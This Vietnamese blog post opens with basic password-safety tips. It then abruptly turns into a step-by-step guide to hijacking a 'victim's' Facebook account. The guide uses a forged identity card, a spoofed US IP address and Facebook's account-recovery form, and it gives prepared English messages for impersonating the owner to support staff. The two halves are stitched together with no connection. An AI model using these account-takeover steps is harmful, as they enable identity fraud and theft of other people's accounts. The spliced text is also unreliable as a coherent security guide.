Cách bảo mật thông tin cơ bản bạn nên biết

Mật khẩu chính là cốt lõi của việc bảo mật. Bạn nên sử dụng mật khẩu có độ an toàn theo chuẩn quốc tê. Đó là mật khẩu chứa đủ ký tự thường, ký tự hoa và số. Nếu như bạn sợ quên mật khẩu thì có thể sử dụng Google Keep để ghi chú lại mật khẩu cần nhớ.

Bạn có thể vào trang kiểm tra độ an toàn mật khẩu dưới đây để biết dặt mật khẩu mới đạt tiêu chuẩn.

Độ an toàn Password

Chịu khó bỏ qua quảng cáo link123 để ủng hộ mình nha.

Nhât định phải đặt mật khẩu Email khác với mật khẩu của các tài khoản còn lại. Vì Mail chính là cơ sở để tấn công các tài khoản dịch vụ còn lại của bạn.

Thường xuyên sử dụng công cụ này để kiểm tra độ an toàn mật khẩu. Tốt nhất. mình khuyên bạn nên kiểm tra mỗi tuần một lần. Như vậy sẽ hạn chế việc rò rỉ thông tin và khắc phục sớm nhất có thể.

Không tự ý điền Email và mật khẩu ở các trang không uy tín. Nên kiểm tra độ uy tín của trang đó trước khi tham gia dịch vụ hoặc sự kiện của họ. Bạn có thể dùng Google để làm điều này bằng cách search thông tin về trang đó.

Quan trọng hơn

Hạn chế việc sử dụng chức năng nhớ mật khẩu của trình duyệt. Đối với những mật khẩu quan trọng thì không nên để trình duyệt ghi nhớ. Vì hacker có thể đánh cắp được thông qua virus cài vào trình duyệt của bạn.

Khi bạn cần đăng nhập để thực hiện các giao dịch trực tuyến. Mình khuyên bạn nên dùng Tab ẩn danh của trình duyệt để tránh việc rò rỉ thông tin qua lịch sử của trình duyệt đó.

Nếu có dịch vụ nào trao giải hoặc mời bạn tham gia sự kiện qua messenger hoặc tin nhắn. Đừng làm theo, vì đa số các công ty hay tổ chức đều có trang trao giải và trang sự kiện hoặc Fanpage riêng. Không lý do gì họ lại mời bạn thông qua tin nhắn hay Messenger cả.

Đây là những lưu ý cơ bản mà bạn có thể tự thực hiện được. Mình hi vọng bạn sẽ dành ra một chút thời gian để xem xét lại độ an toàn của mật khẩu sau khi đọc bài viết này.

Like Fanpage để cập nhật các bài viết hay thường xuyên nhé !

Lmint.

Chuẩn bị:

– Một email sạch ( chưa đăng ký Facebook )
– Một CMND fake thông tin như victim
-Các bước thực hiện:
– Vào https://www.facebook.com/login/identify?ctx=recover
+ Nhập số điện thoại victim –> Tìm kiếm

– Vào https://www.facebook.com/help/contact/234405046615919 ( fake IP Hoa Kỳ và chọn ngôn ngữ English ( US ) )
+ Họ tên: Tên victim
+ Liên kết ( URL ) đến dòng thời gian của bạn: Link victim
+ Email liên lạc: Ðiền Email sạch ( đã chuẩn bị )
+ Chọn vấn đề: Khác hoặc tôi đã mất hoàn toàn quyền truy cập vào số này
+ Số di động: Số victim ( nhớ đổi 0 thành +84 )

[su_box title=”Mô Tả Vấn Đề” style=”glass” box_color=”#d33734″ radius=”1″]Facebook is when I lost my phone number and can not access my facebook account. This account is very important to me want facebook can help fight the darkness, I will provide information such as your account and verify your identity to be soon provide an account please help me please . Thank Team Facebook.[/su_box]

+ Giấy tờ tùy thân: Up CMND đã fake (link tải photoshop 32bit :http://adf.ly/1YaZTx)
– Vào mail ( đã chuẩn bị ) và chờ mail từ Facebook.

Nhận được thì rep lại như sau:
+ Facebook group Hello, my account was hacked and someone has changed a lot of information.
I am the master account and should provide his account. It’s very important for me, I can not lack it. Please help me.
I have a government issued ID attached, just help me recover my account.
Full name: Tên victim
Birthday: Ngày tháng năm sinh victim
Email: Điền mail victim
ID: ID của victim
Thanks to the Facebook Team. Thank Team Facebook.

[su_box title=”Chú Ý” style=”glass” box_color=”#d33734″ radius=”1″]Không nên check dưới tab ẩn, nên check vào 8h tối đến 12h đêm, khi đó mấy support bên Mĩ ,Anh đang sẽ và sắp vào làm việc. [/su_box].

Chúc Các bạn thành công và like ủng hộ page nhé !!
Author: Luminhthong